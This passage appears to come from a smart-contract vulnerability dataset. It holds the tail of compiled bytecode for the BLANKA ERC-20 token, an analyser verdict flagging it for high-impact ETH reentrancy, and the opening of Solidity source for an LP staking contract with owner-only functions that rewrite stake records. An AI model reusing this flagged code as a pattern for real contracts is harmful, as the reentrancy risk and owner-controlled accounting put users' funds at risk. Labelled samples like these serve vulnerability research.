061060a60048036038101906106059190612d0c565b61122e565b6040516106179190612b2d565b60405180910390f35b34801561062c57600080fd5b5061064760048036038101906106429190612d0c565b61124e565b6040516106549190612b2d565b60405180910390f35b34801561066957600080fd5b5061067261126e565b005b34801561068057600080fd5b5061069b60048036038101906106969190612dfa565b6112e8565b6040516106a89190612bd1565b60405180910390f35b3480156106bd57600080fd5b506106d860048036038101906106d39190612d0c565b61136f565b005b3480156106e657600080fd5b5061070160048036038101906106fc9190612d66565b61145f565b005b60606040518060400160405280600a81526020017f426c616e6b6120496e7500000000000000000000000000000000000000000000815250905090565b600061075461074d61151f565b8484611527565b6001905092915050565b601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600069152d02c7e14af6800000905090565b60006107a38484846116f2565b610864846107af61151f565b61085f8560405180606001604052806028815260200161390560289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061081561151f565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611e8d9092919063ffffffff16565b611527565b600190509392505050565b61087761151f565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610904576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108fb90612e86565b60405180910390fd5b801515601160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615151415610997576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161098e90612ef2565b60405180910390fd5b80601160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b60185481565b60006009905090565b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b610a2f61151f565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610abc576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ab390612e86565b60405180910390fd5b6000601060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b610b1f61151f565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610bac576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ba390612e86565b60405180910390fd5b80601560166101000a81548160ff02191690831515021790555050565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610c0a61151f565b73ffffffffffffffffffffffffffffffffffffffff1614610c2a57600080fd5b6000479050610c3881611ef1565b50565b6000610c85600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611f5d565b9050919050565b610c9461151f565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d21576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d1890612e86565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b610de761151f565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e74576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e6b90612e86565b60405180910390fd5b64e8d4a51000811015610e8657600080fd5b633b9aca0081610e969190612f41565b60168190555050565b60165481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b610ed661151f565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f63576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f5a90612e86565b60405180910390fd5b80601560146101000a81548160ff02191690831515021790555050565b60175481565b60606040518060400160405280600681526020017f424c414e4b410000000000000000000000000000000000000000000000000000815250905090565b610fcb61151f565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611058576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161104f90612e86565b60405180910390fd5b8060188190555050565b61106a61151f565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146110f7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110ee90612e86565b60405180910390fd5b600082856111059190612f9b565b9050600082856111159190612f9b565b9050600882111561112557600080fd5b600881111561113357600080fd5b8560088190555084600a819055508360098190555082600b81905550505050505050565b600061116b61116461151f565b84846116f2565b6001905092915050565b61117d61151f565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461120a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161120190612e86565b60405180910390fd5b69152d02c7e14af680000060168190555069152d02c7e14af6800000601781905550565b60116020528060005260406000206000915054906101000a900460ff1681565b60106020528060005260406000206000915054906101000a900460ff1681565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166112af61151f565b73ffffffffffffffffffffffffffffffffffffffff16146112cf57600080fd5b60006112da30610c3b565b90506112e581611fcb565b50565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b61137761151f565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611404576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113fb90612e86565b60405180910390fd5b6001601060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b61146761151f565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146114f4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114eb90612e86565b60405180910390fd5b64e8d4a5100081101561150657600080fd5b633b9aca00816115169190612f41565b60178190555050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611597576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161158e90613063565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611607576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115fe906130f5565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516116e59190612bd1565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611762576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161175990613187565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156117d2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117c990613219565b60405180910390fd5b60008111611815576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161180c906132ab565b60405180910390fd5b61181d610ea5565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561188b575061185b610ea5565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611b8c57601560149054906101000a900460ff1661193157601160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16611930576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119279061333d565b60405180910390fd5b5b601654811115611976576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161196d906133a9565b60405180910390fd5b601060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615611a03576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119fa9061343b565b60405180910390fd5b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614611ab15760175481611a6584610c3b565b611a6f9190612f9b565b1115611ab0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611aa7906134cd565b60405180910390fd5b5b6000611abc30610c3b565b9050600060185482101590506016548210611ad75760165491505b808015611aef575060158054906101000a900460ff16155b8015611b495750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b8015611b615750601560169054906101000a900460ff165b15611b8957611b6f82611fcb565b60004790506000811115611b8757611b8647611ef1565b5b505b50505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611c335750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b80611ce65750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614158015611ce55750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b5b15611cf45760009050611e7b565b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16148015611d9f5750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b15611db757600854600c81905550600954600d819055505b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16148015611e625750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b15611e7a57600a54600c81905550600b54600d819055505b5b611e8784848484612251565b50505050565b6000838311158290611ed5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ecc9190612a17565b60405180910390fd5b5060008385611ee491906134ed565b9050809150509392505050565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015611f59573d6000803e3d6000fd5b5050565b6000600654821115611fa4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f9b90613593565b60405180910390fd5b6000611fae61227e565b9050611fc381846122a990919063ffffffff16565b915050919050565b60016015806101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115612002576120016135b3565b5b6040519080825280602002602001820160405280156120305781602001602082028036833780820191505090505b5090503081600081518110612048576120476135e2565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156120ea57600080fd5b505afa1580156120fe573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906121229190613626565b81600181518110612136576121356135e2565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061219d30601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611527565b601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b815260040161220195949392919061374c565b600060405180830381600087803b15801561221b57600080fd5b505af115801561222f573d6000803e3d6000fd5b505050505060006015806101000a81548160ff02191690831515021790555050565b8061225f5761225e6122f3565b5b61226a848484612336565b8061227857612277612501565b5b50505050565b600080600061228b612515565b915091506122a281836122a990919063ffffffff16565b9250505090565b60006122eb83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061257a565b905092915050565b6000600c5414801561230757506000600d54145b1561231157612334565b600c54600e81905550600d54600f819055506000600c819055506000600d819055505b565b600080600080600080612348876125dd565b9550955095509550955095506123a686600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461264590919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061243b85600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461268f90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612487816126ed565b61249184836127aa565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516124ee9190612bd1565b60405180910390a3505050505050505050565b600e54600c81905550600f54600d81905550565b60008060006006549050600069152d02c7e14af6800000905061254d69152d02c7e14af68000006006546122a990919063ffffffff16565b82101561256d5760065469152d02c7e14af6800000935093505050612576565b81819350935050505b9091565b600080831182906125c1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016125b89190612a17565b60405180910390fd5b50600083856125d091906137d5565b9050809150509392505050565b60008060008060008060008060006125fa8a600c54600d546127e4565b925092509250600061260a61227e565b9050600080600061261d8e87878761287a565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061268783836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611e8d565b905092915050565b600080828461269e9190612f9b565b9050838110156126e3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016126da90613852565b60405180910390fd5b8091505092915050565b60006126f761227e565b9050600061270e828461290390919063ffffffff16565b905061276281600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461268f90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6127bf8260065461264590919063ffffffff16565b6006819055506127da8160075461268f90919063ffffffff16565b6007819055505050565b6000806000806128106064612802888a61290390919063ffffffff16565b6122a990919063ffffffff16565b9050600061283a606461282c888b61290390919063ffffffff16565b6122a990919063ffffffff16565b9050600061286382612855858c61264590919063ffffffff16565b61264590919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080612893858961290390919063ffffffff16565b905060006128aa868961290390919063ffffffff16565b905060006128c1878961290390919063ffffffff16565b905060006128ea826128dc858761264590919063ffffffff16565b61264590919063ffffffff16565b9050838184965096509650505050509450945094915050565b6000808314156129165760009050612978565b600082846129249190612f41565b905082848261293391906137d5565b14612973576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161296a906138e4565b60405180910390fd5b809150505b92915050565b600081519050919050565b600082825260208201905092915050565b60005b838110156129b857808201518184015260208101905061299d565b838111156129c7576000848401525b50505050565b6000601f19601f8301169050919050565b60006129e98261297e565b6129f38185612989565b9350612a0381856020860161299a565b612a0c816129cd565b840191505092915050565b60006020820190508181036000830152612a3181846129de565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000612a6982612a3e565b9050919050565b612a7981612a5e565b8114612a8457600080fd5b50565b600081359050612a9681612a70565b92915050565b6000819050919050565b612aaf81612a9c565b8114612aba57600080fd5b50565b600081359050612acc81612aa6565b92915050565b60008060408385031215612ae957612ae8612a39565b5b6000612af785828601612a87565b9250506020612b0885828601612abd565b9150509250929050565b60008115159050919050565b612b2781612b12565b82525050565b6000602082019050612b426000830184612b1e565b92915050565b6000819050919050565b6000612b6d612b68612b6384612a3e565b612b48565b612a3e565b9050919050565b6000612b7f82612b52565b9050919050565b6000612b9182612b74565b9050919050565b612ba181612b86565b82525050565b6000602082019050612bbc6000830184612b98565b92915050565b612bcb81612a9c565b82525050565b6000602082019050612be66000830184612bc2565b92915050565b600080600060608486031215612c0557612c04612a39565b5b6000612c1386828701612a87565b9350506020612c2486828701612a87565b9250506040612c3586828701612abd565b9150509250925092565b612c4881612b12565b8114612c5357600080fd5b50565b600081359050612c6581612c3f565b92915050565b60008060408385031215612c8257612c81612a39565b5b6000612c9085828601612a87565b9250506020612ca185828601612c56565b9150509250929050565b600060ff82169050919050565b612cc181612cab565b82525050565b6000602082019050612cdc6000830184612cb8565b92915050565b612ceb81612a5e565b82525050565b6000602082019050612d066000830184612ce2565b92915050565b600060208284031215612d2257612d21612a39565b5b6000612d3084828501612a87565b91505092915050565b600060208284031215612d4f57612d4e612a39565b5b6000612d5d84828501612c56565b91505092915050565b600060208284031215612d7c57612d7b612a39565b5b6000612d8a84828501612abd565b91505092915050565b60008060008060808587031215612dad57612dac612a39565b5b6000612dbb87828801612abd565b9450506020612dcc87828801612abd565b9350506040612ddd87828801612abd565b9250506060612dee87828801612abd565b91505092959194509250565b60008060408385031215612e1157612e10612a39565b5b6000612e1f85828601612a87565b9250506020612e3085828601612a87565b9150509250929050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000612e70602083612989565b9150612e7b82612e3a565b602082019050919050565b60006020820190508181036000830152612e9f81612e63565b9050919050565b7f544f4b454e3a20416c726561647920656e61626c65642e000000000000000000600082015250565b6000612edc601783612989565b9150612ee782612ea6565b602082019050919050565b60006020820190508181036000830152612f0b81612ecf565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000612f4c82612a9c565b9150612f5783612a9c565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615612f9057612f8f612f12565b5b828202905092915050565b6000612fa682612a9c565b9150612fb183612a9c565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115612fe657612fe5612f12565b5b828201905092915050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b600061304d602483612989565b915061305882612ff1565b604082019050919050565b6000602082019050818103600083015261307c81613040565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b60006130df602283612989565b91506130ea82613083565b604082019050919050565b6000602082019050818103600083015261310e816130d2565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000613171602583612989565b915061317c82613115565b604082019050919050565b600060208201905081810360008301526131a081613164565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b6000613203602383612989565b915061320e826131a7565b604082019050919050565b60006020820190508181036000830152613232816131f6565b9050919050565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b6000613295602983612989565b91506132a082613239565b604082019050919050565b600060208201905081810360008301526132c481613288565b9050919050565b7f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060008201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c656400602082015250565b6000613327603f83612989565b9150613332826132cb565b604082019050919050565b600060208201905081810360008301526133568161331a565b9050919050565b7f544f4b454e3a204d6178205472616e73616374696f6e204c696d697400000000600082015250565b6000613393601c83612989565b915061339e8261335d565b602082019050919050565b600060208201905081810360008301526133c281613386565b9050919050565b7f544f4b454e3a20596f7572204163636f756e74204973204d61726b656420417360008201527f204120426f742100000000000000000000000000000000000000000000000000602082015250565b6000613425602783612989565b9150613430826133c9565b604082019050919050565b6000602082019050818103600083015261345481613418565b9050919050565b7f544f4b454e3a2042616c616e636520657863656564732077616c6c657420736960008201527f7a65210000000000000000000000000000000000000000000000000000000000602082015250565b60006134b7602383612989565b91506134c28261345b565b604082019050919050565b600060208201905081810360008301526134e6816134aa565b9050919050565b60006134f882612a9c565b915061350383612a9c565b92508282101561351657613515612f12565b5b828203905092915050565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b600061357d602a83612989565b915061358882613521565b604082019050919050565b600060208201905081810360008301526135ac81613570565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60008151905061362081612a70565b92915050565b60006020828403121561363c5761363b612a39565b5b600061364a84828501613611565b91505092915050565b6000819050919050565b600061367861367361366e84613653565b612b48565b612a9c565b9050919050565b6136888161365d565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b6136c381612a5e565b82525050565b60006136d583836136ba565b60208301905092915050565b6000602082019050919050565b60006136f98261368e565b6137038185613699565b935061370e836136aa565b8060005b8381101561373f57815161372688826136c9565b9750613731836136e1565b925050600181019050613712565b5085935050505092915050565b600060a0820190506137616000830188612bc2565b61376e602083018761367f565b818103604083015261378081866136ee565b905061378f6060830185612ce2565b61379c6080830184612bc2565b9695505050505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b60006137e082612a9c565b91506137eb83612a9c565b9250826137fb576137fa6137a6565b5b828204905092915050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b600061383c601b83612989565b915061384782613806565b602082019050919050565b6000602082019050818103600083015261386b8161382f565b9050919050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b60006138ce602183612989565b91506138d982613872565b604082019050919050565b600060208201905081810360008301526138fd816138c1565b905091905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212209f895e9c70270bd47d3c27f2df2edb4b4d18ea71021fd3f02483fea4ea3a918764736f6c63430008090033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}}
10,213
0xc929db61fb93ca4085bf50fb04b29d2658bec98d
//SPDX-License-Identifier:MIT pragma solidity ^0.6.0; /** * @title SafeMath * @dev Unsigned math operations with safety checks that revert on error */ library SafeMath { /** * @dev Multiplies two unsigned integers, reverts on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256){ if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b,"Calculation error"); return c; } /** * @dev Integer division of two unsigned integers truncating the quotient, reverts on division by zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256){ // Solidity only automatically asserts when dividing by 0 require(b > 0,"Calculation error"); uint256 c = a / b; return c; } /** * @dev Subtracts two unsigned integers, reverts on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256){ require(b <= a,"Calculation error"); uint256 c = a - b; return c; } /** * @dev Adds two unsigned integers, reverts on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256){ uint256 c = a + b; require(c >= a,"Calculation error"); return c; } /** * @dev Divides two unsigned integers and returns the remainder (unsigned integer modulo), * reverts when dividing by zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256){ require(b != 0,"Calculation error"); return a % b; } } /** * @title ILPToken * @dev Contract interface for LP token contract */ abstract contract ILPToken { function balanceOf(address) public virtual returns (uint256); function transfer(address, uint256) public virtual returns (bool); function transferFrom(address, address, uint256) public virtual returns (bool); function approve(address , uint256) public virtual returns (bool); } /** * @title IToken * @dev Contract interface for token contract */ abstract contract IToken { function balanceOf(address) public virtual returns (uint256); function transfer(address, uint256) public virtual returns (bool); function transferFrom(address, address, uint256) public virtual returns (bool); function approve(address , uint256) public virtual returns (bool); } /** * @title CLIQWETHLPStaking * @dev CLIQWETHLP Staking Contract for LP token staking */ contract CLIQWETHLPStaking { using SafeMath for uint256; address private _owner; // variable for Owner of the Contract. uint256 private _withdrawTime; // variable to manage withdraw time for Token uint256 constant public PERIOD_SILVER = 90; // variable constant for time period managemnt uint256 constant public PERIOD_GOLD = 180; // variable constant for time period managemnt uint256 constant public PERIOD_PLATINUM = 270; // variable constant for time period managemnt uint256 constant public WITHDRAW_TIME_SILVER = 45 * 1 days; // variable constant to manage withdraw time lock up uint256 constant public WITHDRAW_TIME_GOLD = 90 * 1 days; // variable constant to manage withdraw time lock up uint256 constant public WITHDRAW_TIME_PLATINUM = 135 * 1 days; // variable constant to manage withdraw time lock up uint256 public TOKEN_REWARD_PERCENT_SILVER = 21788328; // variable constant to manage token reward percentage for silver uint256 public TOKEN_REWARD_PERCENT_GOLD = 67332005; // variable constant to manage token reward percentage for gold uint256 public TOKEN_REWARD_PERCENT_PLATINUM = 178233538; // variable constant to manage token reward percentage for platinum uint256 public TOKEN_PENALTY_PERCENT_SILVER = 10894164; // variable constant to manage token penalty percentage for silver uint256 public TOKEN_PENALTY_PERCENT_GOLD = 23566201; // variable constant to manage token penalty percentage for gold uint256 public TOKEN_PENALTY_PERCENT_PLATINUM = 44558384; // variable constant to manage token penalty percentage for platinum // events to handle staking pause or unpause for token event Paused(); event Unpaused(); /* * --------------------------------------------------------------------------------------------------------------------------- * Functions for owner. * --------------------------------------------------------------------------------------------------------------------------- */ /** * @dev get address of smart contract owner * @return address of owner */ function getowner() public view returns (address) { return _owner; } /** * @dev modifier to check if the message sender is owner */ modifier onlyOwner() { require(isOwner(),"You are not authenticate to make this transfer"); _; } /** * @dev Internal function for modifier */ function isOwner() internal view returns (bool) { return msg.sender == _owner; } /** * @dev Transfer ownership of the smart contract. For owner only * @return request status */ function transferOwnership(address newOwner) public onlyOwner returns (bool){ _owner = newOwner; return true; } /* * --------------------------------------------------------------------------------------------------------------------------- * Functionality of Constructor and Interface * --------------------------------------------------------------------------------------------------------------------------- */ // constructor to declare owner of the contract during time of deploy constructor() public { _owner = msg.sender; } // Interface declaration for contract ILPToken ilptoken; IToken itoken; // function to set Contract Address for Token Transfer Functionality for LP Token and Cliq Token function setContractAddresses(address lpTokenContractAddress, address tokenContractAddress) external onlyOwner returns(bool){ ilptoken = ILPToken(lpTokenContractAddress); itoken = IToken(tokenContractAddress); return true; } /* * ---------------------------------------------------------------------------------------------------------------------------- * Owner functions of get value, set value and other Functionality * ---------------------------------------------------------------------------------------------------------------------------- */ // function to add token reward in contract function addTokenReward(uint256 token) external onlyOwner returns(bool){ _ownerTokenAllowance = _ownerTokenAllowance.add(token); itoken.transferFrom(msg.sender, address(this), token); return true; } // function to withdraw added token reward in contract function withdrawAddedTokenReward(uint256 token) external onlyOwner returns(bool){ require(token < _ownerTokenAllowance,"Value is not feasible, Please Try Again!!!"); _ownerTokenAllowance = _ownerTokenAllowance.sub(token); itoken.transfer(msg.sender, token); return true; } // function to get token reward in contract function getTokenReward() public view returns(uint256){ return _ownerTokenAllowance; } // function to pause Token Staking function pauseTokenStaking() public onlyOwner { tokenPaused = true; emit Paused(); } // function to unpause Token Staking function unpauseTokenStaking() public onlyOwner { tokenPaused = false; emit Unpaused(); } // function to set values function setManager(uint256 tokenStakingCount, uint256 tokenTotalDays, address tokenStakingAddress, uint256 tokenStakingStartTime, uint256 tokenStakingEndTime, uint256 usertokens) external onlyOwner returns(bool){ _tokenStakingCount = tokenStakingCount; _tokenTotalDays[_tokenStakingCount] = tokenTotalDays; _tokenStakingAddress[_tokenStakingCount] = tokenStakingAddress; _tokenStakingId[tokenStakingAddress].push(_tokenStakingCount); _tokenStakingEndTime[_tokenStakingCount] = tokenStakingEndTime; _tokenStakingStartTime[_tokenStakingCount] = tokenStakingStartTime; _usersTokens[_tokenStakingCount] = usertokens; _TokenTransactionstatus[_tokenStakingCount] = false; totalStakedToken = totalStakedToken.add(usertokens); totalTokenStakesInContract = totalTokenStakesInContract.add(usertokens); return true; } // function to set reward percent function setRewardPercent(uint256 silver, uint256 gold, uint256 platinum) external onlyOwner returns(bool){ require(silver != 0 && gold != 0 && platinum !=0,"Invalid Reward Value or Zero value, Please Try Again!!!"); TOKEN_REWARD_PERCENT_SILVER = silver; TOKEN_REWARD_PERCENT_GOLD = gold; TOKEN_REWARD_PERCENT_PLATINUM = platinum; return true; } // function to set penalty percent function setPenaltyPercent(uint256 silver, uint256 gold, uint256 platinum) external onlyOwner returns(bool){ require(silver != 0 && gold != 0 && platinum !=0,"Invalid Penalty Value or Zero value, Please Try Again!!!"); 